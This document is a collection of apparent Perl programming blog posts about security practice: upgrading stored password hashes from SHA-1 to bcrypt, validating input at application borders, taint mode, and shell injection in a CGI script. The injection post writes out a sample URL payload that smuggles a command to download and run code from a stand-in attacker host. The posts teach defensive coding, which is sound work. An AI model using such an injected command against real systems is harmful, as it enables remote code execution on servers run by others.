It's obvious why hashing passwords is necessary: storing passwords in plain text offers an attack vector by which you can inadvertently expose private user data to the wild world. Even if an attacker somehow gets access to hashed passwords, extracting the plain text password (or its cryptographic equivalent) from the hash is an expensive operation.

Yet the quality of the hash matters. Faster computers can perform brute force attacks against simpler hashing functions. DES and RSA aren't sufficient. MD5 is not sufficient. Even SHA-1—which worked really well until a couple of years ago—isn't sufficient. The modern consensus seems to prefer the Blowfish algorithm as sufficiently secure.

Yet I had deployed code which used SHA-1 to hash sensitive user information.

Upgrading passwords in place is reasonably simple, though. (Here's the part where posting code about a security issue has the potential to expose a really silly bug, in which case thank you for helping me fix my code.)

I have a user model built with DBIx::Class. Its check_password() function (slightly misnamed, but misnamed to integrate with other components) verifies that the given plaintext password hashes to the stored hash value. If so—and if the user has the is_active flag set to a true value—the login can continue. Otherwise, the login fails.

I'd previously extracted the hashing function into a single module which exports a hash() function. This turned out to be a wise approach; it's one and only one place in the code where I can change the underlying hashing mechanism.

That abstraction meant that switching new users to use Blowfish could happen automatically. Upgrading existing users took a little more work:

sub check_password
{
    my ($self, $attempt) = @_;
    my $password         = $self->password;

    # upgrade existing passwords to Bcrypt passwords
    if (old_hash($attempt) eq $password)
    {
        # crypt with blowfish
        $password = hash($attempt);
        $self->update({ password => $password });

        return $self->is_active;
    }

    return unless hash($attempt, $password) eq $password;
    return $self->is_active;
}

When a user attempts to log in, first compare with the old hashing mechanism. If that matches, update the user's password in the database with the new hashing mechanism. Otherwise, use the new hashing mechanism.

This code could be even easier; Crypt::Eksblowfish::Bcrypt returns a hashed password encoded in Base-64 with a special string prepended which contains the password hashing settings. Those magic characters never appear in the encoding mechanism I used for SHA-1 passwords, so only encoded passwords which start with that sequence can use the new hash. Everything else should attempt to match against the old hash.

One drawback of this technique is that it makes what would normally be a read-only operation (compare passwords) perform a write (update passwords), but this is a temporary workaround. When all of the users have logged in (and had their passwords update transparently), I can remove this workaround. Detecting that is easy: check the first few characters of each password for the special prefix.

This technique isn't particularly original or difficult, but it's worked very well for me so far. Better yet, my users haven't noticed at all. They get more security for free with no work on their part. That's a good tradeoff.

The article's penultimate paragraph makes what should be an obvious point. (At least, it's obvious if you want to prevent terrorism as much as possible. If your goal is to spend lots of taxpayer money in a very flashy, showy way without worrying about efficacy, please continue.) In particular:

What the government should be doing is focusing on the terrorists when they are planning their plots. "That's how the British caught the liquid bombers," Schneier says. "They never got anywhere near the plane. That's what you want--not catching them at the last minute as they try to board the flight."

I read this article moments after sending an email commiserating about the silly (lack of) Unicode handling in a programming language which isn't Perl. Then something clicked.

One of my persistent desires for Parrot was to simplify the internals by reducing the amount of complexity and genericity in the core. In terms of Unicode, this means knowing the encoding of incoming data and the desired encoding of outgoing data, then transcoding to and from a single internal encoding. This way the core could operate on a single encoding and push the complexity of transcoding to the edges.

If Parrot hasn't changed this since I looked at it most recently, its string system requires each string to carry information about its encoding (which makes each string structure that much larger, increasing memory pressure) and each string operation to check for the need to transcode strings to mutually compatible encodings (which takes time for the comparison in every case, as well as time and memory for the transcoding in other cases).

Worse yet, string literals encoded in the source code of Parrot itself tend to have a specific encoding (ASCII or at least Latin-1 in the case of literals in the C code) and they ought to be constant, so transcoding in place isn't an option and, if you're working primarily with another encoding, that means always performing transcoding from that incompatible encoding.

It's not free to perform encoding at the edges, and you sometimes notice this when working with large chunks of data (though if you're processing multi-terabyte satellite images, treat them as binary and skip this encoding altogether), but it's the right thing to do.

The same principle applies for trusting incoming data. Secure it at the borders of the application. Don't spread those checks throughout the system. Harden the edges and don't let nonsense through. Fail early for suspicious things.

Otherwise you'll go mad trying to track down all of the possible interactions and possibilities of maliciousnesses that people could perpetuate if you lack a sane sanity policy. In other words, stop doing a lot of busy work to make it look like you know what you're doing. Do it right.

The (not) funny thing is that none of what he's saying is a risk would be one when running in taint mode.

Consider "/tmp/foo.pm" with this:

package foo;
print "Loaded foo\n";
1;

Then consider this example of how Module::Load does something "unexpected":

$ perl -MModule::Load=load -wE 'my $file=shift; load $file' ::tmp::foo
Loaded foo

(The "threat" is that given an arbitrary module name to load, it will gladly load outside @INC.)

What if that was run under taint mode, instead?

$ perl -MModule::Load=load -wTE 'my $file=shift; load $file' ::tmp::foo
Insecure dependency in require while running with -T switch at /home/david/perl5/perlbrew/perls/perl-5.14.0/lib/5.14.0/Module/Load.pm line 27.
Insecure dependency in require while running with -T switch at /home/david/perl5/perlbrew/perls/perl-5.14.0/lib/5.14.0/Module/Load.pm line 27.

I'm not sure why that message is printed twice, but that was still a fatal error and foo.pm didn't load.

The moral of the story: if you incorporate arbitrary user input into your execution path, use taint mode and validate the input to make sure it's something safe.

The original code looked something like:

#!/usr/bin/perl -w

my @values = split(/&/,$ENV{'QUERY_STRING'});
foreach my $i (@values) {
    ($varname, $mydata) = split(/=/,$i);
}

system( "echo '$mydata' >> /home/rhett/usernick" );
system('/home/rhett/music_player.rb &');
system('/home/rhett/servos/phidgets-examples/AdvancedServo-simple &');

The emboldened line shows the problem. (Yes, splitting the query string on & is horribly buggy on its own, but that's not a security flaw in and of itself.)

This isn't quite a Bobby Tables moment, in that the potential for mischief can affect anything the user account under which this program runs, and not just a SQL database.

(If you don't see the security problem, think about what would happen if someone invoked this program with the URL http://example.com/buggy.cgi?exploit='; wget http://evil.example.com/exploit.pl && $^X exploit.pl; echo "all is fine", properly URL-encoded of course.)

This is the same type of problem which makes this code:

# DO NOT USE
open my $fh, "$some_file_name" or die "Security breach didn't work: $!";

... much less secure than the modern version:

# SAFE TO USE
open my $fh, '<', $some_file_name or die "Cannot read from input file: $!";

This is not a problem you can (entirely) alleviate by vetting the content of the string; it's difficult to craft a regex or a series of transformations to remove every possible combination of characters which may cause unintended behavior. You should continue to vet the sanity of the contents of these strings to help with security and safety, but the most reliable way to avoid unintentional interpolation problems with untrusted user input is to avoid interpolation altogether, whether with the three-arg form of open or with the list form of system.

Note that even though the example program has replaced the offending system with direct file access using two-arg open, it does not interpolate untrusted user input in an unsafe fashion. It's still clunky code, but it's safer.

Again, the unsafe forms of open and system are merely warning signs. (This pattern of program isn't inherently bad. I have a very useful shell script written in Perl 5 which uses a similar pattern of string manipulation and system calls because string manipulation in bash is painful.) The problem is interpolation of untrusted user input in places where untrusted characters may produce unintended behavior.

Then again, the safe forms of open and system exist to avoid that problem altogether.

Bad code is possible in any language and wrong code is possible with any API. Even so, it's possible to create languages and APIs which make the right thing so much easier than the wrong thing that only the most incompetent (or dangerously malicious) write bad code.

Imagine, for example, a database access layer which forbids the use of raw strings to create SQL queries. You might have to write:

my $sth = $dbh->select( @tables )->join( %relations )->where( %conditions );

That's not necessarily a beautiful interface dashed off after a moment of thinking, but it has an important security property: it avoids the interpolation of untrusted user input. All data sent to the database may go through a quoting or untainting process without the user having to remember to do so.

A similar library could help avoid malicious user input from interfering with the display or operation of a web site, for example. These are both specific cases of a general principle: replace unstructured string data with structured data. In both cases, the structure of the data makes the intent of the data clear, which allows the library to ensure as much safety as possible.

This principle has other implications as well; more on that next time.